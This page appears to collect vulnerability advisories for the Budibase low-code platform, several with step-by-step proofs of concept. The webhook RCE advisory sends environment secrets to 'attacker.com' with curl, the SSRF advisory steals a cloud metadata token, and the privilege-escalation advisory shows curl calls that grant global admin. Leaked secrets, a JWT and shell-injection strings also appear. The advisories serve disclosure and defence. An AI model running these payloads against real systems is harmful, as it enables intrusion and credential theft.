COUCHDBUSER=admin COUCHDBPASSWORD=admin MINIOACCESSKEY=bd501fa31bf44a7e8beb6f7b628c6def MINIOSECRETKEY=bf754d8f29434fc997225e10f55de778 INTERNALAPIKEY=e9580f58b18b4371868aa3442c57522c JWTSECRET=c5441dc903f845bdb93a98b949a612b2 REDISPASSWORD=50739fb539504149a5fd85c85fe6750c DATABASEURL=postgresql://llmproxy:...@127.0.0.1:5432/litellm

Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.

Impact

- Disclosure of /data/.env: JWTSECRET, INTERNALAPIKEY, MINIOACCESSKEY, MINIOSECRETKEY, REDISPASSWORD, COUCHDBPASSWORD, LITELLMMASTERKEY, DATABASEURL. - HS256 JWT forge with the leaked JWTSECRET against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin. - Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds. - Disclosure of /etc/passwd and /etc/shadow via the same primitive when the container runs as root (the shipped default).

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Budibase before 3.40.0 fails to properly sanitize S3 object keys, allowing authenticated builders to upload files with traversal sequences that are preserved during export. Attackers can craft filenames containing .. segments that escape the temporary directory during workspace export, writing arbitrary content to any path writable by the Budibase process.

First published (updated )
Severity
9.4
Code Injection
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Budibase versions before 3.41.3 contain a remote code execution vulnerability in plugin handling that allows authenticated admin users to execute arbitrary code by uploading a malicious plugin tarball. The server calls eval() on plugin JavaScript files without sandboxing in the main Node.js process, enabling attackers to exfiltrate environment variables and credentials with root privileges in default deployments.

First published (updated )
Severity
9.1
EPSS
0.15%
CSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Budibase is a low code platform for creating internal tools, workflows, and admin panels. In 3.31.4 and earlier, the Budibase server's authorized() middleware that protects every server-side API endpoint can be completely bypassed by appending a webhook path pattern to the query string of any request. The isWebhookEndpoint() function uses an unanchored regex that tests against ctx.request.url, which in Koa includes the full URL with query parameters. When the regex matches, the authorized() middleware immediately calls return next(), skipping all authentication, authorization, role checks, and CSRF protection. This means a completely unauthenticated, remote attacker can access any server-side API endpoint by simply appending ?/webhooks/trigger (or any webhook pattern variant) to the URL.

First published (updated )
Severity
9.1
OS Command Injection
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container.

Details

Vulnerable endpoint — packages/server/src/api/routes/webhook.ts line 13:

typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)

The webhook trigger endpoint is registered on publicRoutes with no authentication middleware. Any unauthenticated HTTP client can POST to this endpoint.

Vulnerable sink — packages/server/src/automations/steps/bash.ts lines 21–26:

typescript const command = processStringSync(inputs.code, context) stdout = execSync(command, { timeout: environment.QUERYTHREADTIMEOUT }).toString()

The Bash automation step uses Handlebars template processing (processStringSync) on inputs.code, substituting values from the webhook request body into the shell command string before passing it to execSync().

Attack chain:

HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH ↓ controller.trigger() [webhook.ts:90] ↓ triggers.externalTrigger() ↓ webhook fields flattened into automation context automation.steps[EXECUTEBASH].run() [actions.ts:131] ↓ processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKERPAYLOAD" }) ↓ execSync("ATTACKERPAYLOAD") ← RCE AS ROOT

Precondition: An admin must have created and published an automation containing: 1. A Webhook trigger 2. A Bash step whose code field uses a trigger field template (e.g., {{ trigger.cmd }})

This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks.

Note on EXECUTEBASH availability: The bash step is only registered when SELFHOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments:

typescript // packages/server/src/automations/actions.ts line 126-132 // don't add the bash script/definitions unless in self host if (env.SELFHOSTED) { ACTIONIMPLS["EXECUTEBASH"] = bash.run BUILTINACTIONDEFINITIONS["EXECUTEBASH"] = automations.steps.bash.definition }

Webhook context flattening (why {{ trigger.cmd }} works):

In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations the params.fields are spread directly into the trigger context:

typescript // row actions and webhooks flatten the fields down else if (sdk.automations.isWebhookAction(automation)) { params = { ...params, ...params.fields, // { cmd: "PAYLOAD" } becomes top-level fields: {}, } }

This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }} in the bash step template.

PoC

Environment

Target: http://TARGET:10000 (any self-hosted Budibase instance) Tester: Any machine with curl Auth: Admin credentials required for SETUP PHASE only Zero auth required for EXPLOITATION PHASE

---

PHASE 1 — Admin Setup (performed once by legitimate admin)

Note: This phase represents normal Budibase usage. Any admin who creates a webhook automation with a bash step using template variables creates this exposure.

Step 1 — Authenticate as admin:

bash curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{ "username": "admin@company.com", "password": "adminpassword" }'

Expected response: {"message":"Login successful"}

Step 2 — Create an application:

bash curl -b cookies.txt -X POST http://TARGET:10000/api/applications \ -H "Content-Type: application/json" \ -d '{ "name": "MyApp", "useTemplate": false, "url": "/myapp" }'

Note the appId from the response, e.g.: "appId": "appdevc999265f6f984e3aa986788723984cd5"

APPID="appdevc999265f6f984e3aa986788723984cd5"

Step 3 — Create automation with Webhook trigger + Bash step:

bash curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APPID" \ -d '{ "name": "WebhookBash", "type": "automation", "definition": { "trigger": { "id": "trigger1", "name": "Webhook", "event": "app:webhook:trigger", "stepId": "WEBHOOK", "type": "TRIGGER", "icon": "paper-plane-right", "description": "Trigger an automation when a HTTP POST webhook is hit", "tagline": "Webhook endpoint is hit", "inputs": {}, "schema": { "inputs": { "properties": {} }, "outputs": { "properties": { "body": { "type": "object" } } } } }, "steps": [ { "id": "bashstep1", "name": "Bash Scripting", "stepId": "EXECUTEBASH", "type": "ACTION", "icon": "git-branch", "description": "Run a bash script", "tagline": "Execute a bash command", "inputs": { "code": "{{ trigger.cmd }}" }, "schema": { "inputs": { "properties": { "code": { "type": "string" } } }, "outputs": { "properties": { "stdout": { "type": "string" }, "success": { "type": "boolean" } } } } } ] } }'

Note the automation id from response, e.g.: "automation": { "id": "aub713759f83f64efda067e17b65545fce", ... }

AUTOID="aub713759f83f64efda067e17b65545fce"

Step 4 — Enable the automation (new automations start as disabled):

bash Fetch full automation JSON AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTOID" \ -H "x-budibase-app-id: $APPID")

Set disabled: false and PUT it back UPDATED=$(echo "$AUTO" | python3 -c " import sys, json d = json.load(sys.stdin) d['disabled'] = False print(json.dumps(d)) ")

curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APPID" \ -d "$UPDATED"

Step 5 — Create webhook linked to the automation:

bash curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APPID" \ -d "{ \"name\": \"MyWebhook\", \"action\": { \"type\": \"automation\", \"target\": \"$AUTOID\" } }"

Note the webhook id from response, e.g.: "webhook": { "id": "whf811a038ed024da78b44619353d4af2b", ... }

WEBHOOKID="whf811a038ed024da78b44619353d4af2b"

Step 6 — Publish the app to production:

bash curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APPID/publish" \ -H "x-budibase-app-id: $APPID"

Expected: {"status":"SUCCESS","appUrl":"/myapp"}

Production App ID = strip "dev" from dev ID: appdevc999265f... → appc999265f... PRODAPPID="appc999265f6f984e3aa986788723984cd5"

---

PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production appid and webhookid. These can be obtained via: - Enumeration of the Budibase web UI (app URLs are semi-public) - Leaked configuration files or environment variables - Insider knowledge or social engineering

Step 7 — Basic RCE — whoami/id:

bash PRODAPPID="appc999265f6f984e3aa986788723984cd5" WEBHOOKID="whf811a038ed024da78b44619353d4af2b" TARGET="http://TARGET:10000"

NO cookies. NO API key. NO auth headers. Pure unauthenticated request. curl -X POST "$TARGET/api/webhooks/trigger/$PRODAPPID/$WEBHOOKID" \ -H "Content-Type: application/json" \ -d '{"cmd":"id"}'

HTTP Response (immediate): {"message":"Webhook trigger fired successfully"}

Command executes asynchronously inside container as root. Output confirmed via container inspection or exfiltration.

Step 8 — Exfiltrate all secrets:

bash curl -X POST "$TARGET/api/webhooks/trigger/$PRODAPPID/$WEBHOOKID" \ -H "Content-Type: application/json" \ -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'

Confirmed secrets leaked (no auth): JWTSECRET=testsecret APIENCRYPTIONKEY=testsecret COUCHDBURL=http://budibase:budibase@couchdb-service:5984 REDISPASSWORD=budibase REDISURL=redis-service:6379 MINIOACCESSKEY=budibase MINIOSECRETKEY=budibase INTERNALAPIKEY=budibase LITELLMMASTERKEY=budibase

Impact - Who is affected: All self-hosted Budibase deployments (SELFHOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow.

- What can an attacker do: - Execute arbitrary OS commands as root inside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet - Establish reverse shells and persistent access - Read/write/delete all application data via CouchDB access - Forge JWT tokens using the leaked JWTSECRET to impersonate any user - Potentially escape the container if --privileged or volume mounts are used

- Authentication required: None — completely unauthenticated - User interaction required: None - Network access required: Only access to port 10000 (the Budibase proxy port)

Discovered By: Abdulrahman Albatel Abdullah Alrasheed

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Budibase is an open-source low-code platform. Prior to 3.35.4, the authenticated middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against ctx.request.url. Since ctx.request.url in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, POST /api/global/users/search?x=/api/system/status bypasses all authentication because the regex /api/system/status/ matches in the query string portion of the URL. This vulnerability is fixed in 3.35.4.

First published (updated )
Severity
9
XSS, SSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

Budibase is a low code platform for creating internal tools, workflows, and admin panels. In 3.24.0 and earlier, an arbitrary file upload vulnerability exists even though file extension restrictions are configured. The restriction is enforced only at the UI level. An attacker can bypass these restrictions and upload malicious files.

First published (updated )
Severity
9
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L

Summary

/api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDEDPUBLICAPI feature.

Details

Controller (packages/server/src/api/controllers/public/roles.ts:13-17):

typescript export async function assignAppBuilder(ctx: Ctx) { const { userIds, ...assignmentProps } = ctx.request.body await sdk.publicApi.roles.assign(userIds, assignmentProps) ctx.body = { data: { userIds } } }

Nothing filters assignmentProps. The request body's builder and admin keys flow directly into the SDK.

SDK (packages/pro/src/sdk/publicApi/roles.ts:17-47):

typescript export async function assign(userIds: string[], opts: AssignmentOpts) { if (!(await isExpandedPublicApiEnabled())) { throw new Error("Unable to assign roles - license required.") } const users = await userDB.bulkGet(userIds) for (let user of users) { // ... if (opts.builder) { user.builder = { global: true } } if (opts.admin) { user.admin = { global: true } } } await userDB.bulkUpdate(users) }

No check that the caller already holds the privilege they are granting. user.builder is overwritten unconditionally, which also strips any existing builder.apps scope from the target.

Route guard (packages/backend-core/src/middleware/builderOrAdmin.ts:6-20):

typescript export async function builderOrAdmin(ctx: UserCtx, next: any) { if (ctx.internal || isAdmin(ctx.user)) { return next() } const workspaceId = await getWorkspaceIdFromCtx(ctx) if (!workspaceId && !env.isWorker()) { ctx.throw(403, "This request required a workspace id.") } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) { ctx.throw(403, "Admin/Builder user only endpoint.") } else if (workspaceId && !isBuilder(ctx.user, workspaceId)) { ctx.throw(403, "Workspace Admin/Builder user only endpoint.") } // passes }

isBuilder(user, workspaceId) returns true for any user whose builder.apps array contains the workspace id, even when builder.global is unset. The endpoint therefore trusts an app-level builder with a global-scope grant.

Proof of Concept

Tested on Budibase 3.35.8 (master at f960e361). The public API license gate at roles.ts:18 was disabled in the test bundle so the underlying privilege-escalation could be reproduced end-to-end; on a licensed Enterprise tenant the gate passes and the same requests land.

Step 1: the admin creates two users. Alice is a workspace-scoped builder on an app (builder.apps: [app...], builder.global unset, admin.global unset). Victim is a BASIC user.

Step 2: Alice calls GET /api/global/self/apikey to mint an API key tied to her identity:

bash curl -sS -b alice "$BASE/api/global/self/apikey" → {"apiKey":"80f28...","userId":"usdab...","createdAt":"..."}

Step 3: Alice calls /api/public/v1/roles/assign with the victim's id and builder: true. She scopes the request to her own app via x-budibase-app-id so builderOrAdmin passes:

bash curl -sS -X POST "$BASE/api/public/v1/roles/assign" \ -H "Content-Type: application/json" \ -H "x-budibase-api-key: $ALICEAPIKEY" \ -H "x-budibase-app-id: $APPID" \ -d '{"userIds":["us70b6...victim"],"builder":true}'

Admin verifies:

BEFORE: builder: {'global': False} admin: {'global': False} ATTACK: HTTP 200 {"data":{"userIds":["us70b6..."]}} AFTER: builder: {'global': True} admin: {'global': False}

Step 4: Alice follows up with "admin": true and can target her own id:

bash curl -sS -X POST "$BASE/api/public/v1/roles/assign" \ -H "Content-Type: application/json" \ -H "x-budibase-api-key: $ALICEAPIKEY" \ -H "x-budibase-app-id: $APPID" \ -d '{"userIds":["usdab...alice"],"admin":true}'

AFTER: builder: {'apps': ['app...']} admin: {'global': True}

Alice is now a global admin of the tenant. She kept builder.apps because the SDK only overwrites the keys it was asked to set; admin: true writes admin = { global: true } without touching builder.

Impact

Every workspace-scoped builder of any app in the tenant is one request away from global admin. Global admin grants unrestricted access to the tenant: every app in every workspace, every user, every datasource credential, every automation, every SCIM / OIDC / audit-log config. The mass-assignment also strips scoping from the target's existing role, so downgrading a legitimate global builder to an app-scoped builder fails: a later call reinstates global: true.

A tenant that shares app-building duties across teams (the common Enterprise pattern) cannot hold the per-app boundary with the current middleware. This matches GHSA-2g39-332f-68p9 (Critical Privilege Escalation & IDOR via Missing RBAC) in shape and impact.

Recommended Fix

Enforce the caller's privilege in the SDK, matching the grant they want to make:

typescript // packages/pro/src/sdk/publicApi/roles.ts:32-43 const caller = context.getIdentity() // or however the SDK resolves the caller if (opts.builder) { if (!caller?.builder?.global && !caller?.admin?.global) { throw new HTTPError("Only global builders or admins can grant global builder", 403) } user.builder = { global: true } } if (opts.admin) { if (!caller?.admin?.global) { throw new HTTPError("Only global admins can grant global admin", 403) } user.admin = { global: true } }

Alternative, equally valid: tighten builderOrAdmin so that endpoints which can set global-scope properties require isGlobalBuilder or isAdmin. That fixes this endpoint and any future endpoint that shares the middleware.

Whichever fix lands, also strip builder and admin from assignmentProps at the controller boundary (packages/server/src/api/controllers/public/roles.ts:14) unless the caller has admin.global=true. Defense-in-depth against a future SDK regression.

--- Found by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
9
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration.req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

First published (updated )
Severity
9
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Budibase is an open-source low-code platform. Prior to 3.39.30, the OIDC flow in packages/backend-core/src/middleware/passport/sso/oidc.ts resolved an email without getEmailVerified or an emailverified requirement, and packages/backend-core/src/middleware/passport/sso/sso.ts then used users.getGlobalUserByEmail as a fallback account-linking key. An attacker who can authenticate through a configured identity provider that asserts a victim email as unverified can have a fresh provider identity merged into the victim Budibase account and inherit the victim roles. This issue is fixed in version 3.39.30.

First published (updated )
Severity
9
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Budibase before 3.40.0 contains an unauthenticated SQL injection vulnerability in webhook-triggered automations with EXECUTEQUERY steps. Attackers can POST attacker-controlled JSON to the webhook trigger endpoint to inject SQL payloads that execute with builder-configured database credentials, enabling data exfiltration, modification, and persistence in connected datasources like Snowflake.

First published (updated )
Severity
8.8
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Budibase is a low code platform for creating internal tools, workflows, and admin panels. In versions up to and including 3.26.3, a Creator-level user, who normally has no UI permission to invite users, can manipulate API requests to invite new users with any role, including Admin, Creator, or App Viewer, and assign them to any group in the organization. This allows full privilege escalation, bypassing UI restrictions, and can lead to complete takeover of the workspace or organization. As of time of publication, no known fixed versions are available.

First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Budibase is a low code platform for creating internal tools, workflows, and admin panels. This issue is a combination of Vertical Privilege Escalation and IDOR (Insecure Direct Object Reference) due to missing server-side RBAC checks in the /api/global/users endpoints. A Creator-level user, who should have no permissions to manage users or organizational roles, can instead promote an App Viewer to Tenant Admin, demote a Tenant Admin to App Viewer, or modify the Owner’s account details and all orders (e.g., change name). This is because the API accepts these actions without validating the requesting role, a Creator can replay Owner-only requests using their own session tokens. This leads to full tenant compromise.

First published (updated )
Severity
8.8
SQL Injection
AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

Budibase before 3.40.0 contains a SQL injection vulnerability in the Oracle datasource connector's post-write row lookup that fails to escape table names in identifiers. Attackers with write permission on a table with a double-quote in its name can inject SQL that executes as the datasource's database user to read or modify arbitrary data.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Improper Access Control in GitHub repository budibase/budibase prior to 1.3.20.

1 / 2
First published (updated )
Severity
8.7
EPSS
0.01%
SSRF
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Summary The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.

Details

The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:

fields.path → RestClient.read({ path }) → node-fetch(path)

No blocklist exists for: - Loopback (127.0.0.1, ::1) - RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x) - Link-local / cloud metadata (169.254.x.x) - Internal Kubernetes DNS (.svc.cluster.local)

The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and fields.path overrides it entirely.

PoC

Step 1 — Get session token http POST /api/global/auth/default/login HTTP/1.1 Host: budibase.dev.com Content-Type: application/json

{"username": "admin@example.com", "password": "password"} Response sets Cookie: budibase:auth=<JWT>.

Step 2 — Get a REST datasourceId http GET /api/datasources HTTP/1.1 Host: budibase.dev.com Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJW80JU0AJqdCCZlAPRPlKLVs x-budibase-app-id: appdev3dbfeba315fd4baa8fb6202fe517e93b Pick any id where "source": "REST".

Captured from this engagement: - Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJW80JU0AJqdCCZlAPRPlKLVs - App ID: appdev3dbfeba315fd4baa8fb6202fe517e93b - REST datasource ID: datasource49d5a1ed1c6149e48c4de0923e5b20c5

Step 3 — Send SSRF request

Change fields.path to any internal URL. Examples below.

3a. Cloud metadata — GCP OAuth2 token http POST /api/queries/preview HTTP/1.1 Host: budibase.dev.com Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJW80JU0AJqdCCZlAPRPlKLVs x-budibase-app-id: appdev3dbfeba315fd4baa8fb6202fe517e93b Content-Type: application/json

{ "datasourceId": "datasource49d5a1ed1c6149e48c4de0923e5b20c5", "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read", "fields": { "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token", "headers": {"Metadata-Flavor": "Google"}, "queryString": "", "requestBody": "" }, "schema": {} } Response: json {"accesstoken": "ya29.d.c0AZ4bNpYDUK...", "expiresin": 3598, "tokentype": "Bearer"} Impact What kind of vulnerability is it? Who is impacted? Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:

- Cloud credential theft — GCP OAuth2 token with cloud-platform scope stolen from 169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project. - Internal database access — CouchDB reached at budibase-svc-couchdb:5984 with extracted credentials, exposing all application data. - Internal service enumeration — MinIO (minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable. - Kubernetes cluster access — K8s API server reachable at kubernetes.default.svc using the pod's mounted service account token.

The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.

Detected by: Abdulrahman Albatel Abdullah Alrasheed

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
OS Command Injection, Command Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Location: packages/server/src/automations/steps/bash.ts

Description The bash automation step executes user-provided commands using execSync without proper sanitization or validation. User input is processed through processStringSync which allows template interpolation, potentially allowing arbitrary command execution.

Code Reference 21:28:packages/server/src/automations/steps/bash.ts const command = processStringSync(inputs.code, context)

let stdout, success = true try { stdout = execSync(command, { timeout: environment.QUERYTHREADTIMEOUT, }).toString()

Attack Vector An attacker with access to create or modify automations can inject malicious shell commands by including template syntax that evaluates to command injection payloads (e.g., $(rm -rf /), ; malicious-command, | malicious-command).

Impact - Remote code execution (RCE) - Complete system compromise - Data exfiltration - Lateral movement within the infrastructure

Recommendation 1. Immediate: Disable bash automation step in production until fixed 2. Implement a whitelist of allowed commands 3. Use parameterized command execution with proper escaping 4. Implement command argument validation 5. Consider using a restricted shell or command sandboxing 6. Add rate limiting and monitoring for command execution

Example Fix typescript import { spawn } from "childprocess"

// Validate against whitelist const ALLOWEDCOMMANDS = ["echo", "date", "pwd"] // Extend as needed

function sanitizeCommand(input: string): string { // Remove dangerous characters and command chaining return input.replace(/[;&|$(){}[\]]/g, "").trim() }

function validateCommand(cmd: string): boolean { const parts = cmd.split(/\s+/) return ALLOWEDCOMMANDS.includes(parts[0]) }

export async function run({ inputs, context }) { if (!inputs.code) { return { stdout: "Budibase bash automation failed: Invalid inputs" } }

const processedCommand = processStringSync(inputs.code, context) const sanitized = sanitizeCommand(processedCommand) if (!validateCommand(sanitized)) { return { success: false, stdout: "Command not allowed" } }

// Use spawn instead of execSync with proper argument handling return new Promise((resolve) => { const [command, ...args] = sanitized.split(/\s+/) const proc = spawn(command, args, { timeout: environment.QUERYTHREADTIMEOUT, }) let stdout = "" proc.stdout.on("data", (data) => { stdout += data }) proc.on("close", (code) => { resolve({ stdout, success: code === 0 }) }) }) }

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H

Summary

The plugin file upload endpoint (POST /api/plugin/upload) passes the user-supplied filename directly to createTempFolder() without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing ../ to delete arbitrary directories via rmSync and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access.

Severity

- Attack Vector: Network — exploitable via the plugin upload HTTP API - Attack Complexity: Low — no special conditions; a single crafted multipart request suffices - Privileges Required: High — requires Global Builder role (GLOBALBUILDER permission) - User Interaction: None - Scope: Changed — the plugin upload feature is scoped to a temp directory, but the traversal escapes to the host filesystem - Confidentiality Impact: None — the vulnerability enables deletion and writing, not reading - Integrity Impact: High — attacker can delete arbitrary directories and write arbitrary files via tarball extraction - Availability Impact: High — recursive deletion of application or system directories causes denial of service

Severity Rationale

Despite the real filesystem impact, severity is bounded by the requirement for Global Builder privileges (PR:H), which is the highest non-admin role in Budibase. In self-hosted deployments the Global Builder may already have server access, further reducing practical impact. In cloud/multi-tenant deployments the impact is more significant as it could affect the host infrastructure.

Affected Component

- packages/server/src/api/controllers/plugin/file.ts — fileUpload() (line 15) - packages/server/src/utilities/fileSystem/filesystem.ts — createTempFolder() (lines 78-91)

Description

Unsanitized filename flows into filesystem operations

In packages/server/src/api/controllers/plugin/file.ts, the uploaded file's name is used directly after stripping the .tar.gz suffix:

typescript // packages/server/src/api/controllers/plugin/file.ts:8-19 export async function fileUpload(file: KoaFile) { if (!file.name || !file.path) { throw new Error("File is not valid - cannot upload.") } if (!file.name.endsWith(".tar.gz")) { throw new Error("Plugin must be compressed into a gzipped tarball.") } const path = createTempFolder(file.name.split(".tar.gz")[0]) await extractTarball(file.path, path)

return await getPluginMetadata(path) }

The file.name originates from the Content-Disposition header's filename field in the multipart upload, parsed by formidable (via koa-body 4.2.0). Formidable does not sanitize path traversal sequences from filenames.

The createTempFolder function in packages/server/src/utilities/fileSystem/filesystem.ts uses path.join() which resolves ../ sequences, then performs destructive filesystem operations:

typescript // packages/server/src/utilities/fileSystem/filesystem.ts:78-91 export const createTempFolder = (item: string) => { const path = join(budibaseTempDir(), item) try { // remove old tmp directories automatically - don't combine if (fs.existsSync(path)) { fs.rmSync(path, { recursive: true, force: true }) } fs.mkdirSync(path) } catch (err: any) { throw new Error(Path cannot be created: ${err.message}) }

return path }

The budibaseTempDir() returns /tmp/.budibase (from packages/backend-core/src/objectStore/utils.ts:33). With a filename like ../../etc/target.tar.gz, path.join("/tmp/.budibase", "../../etc/target") resolves to /etc/target.

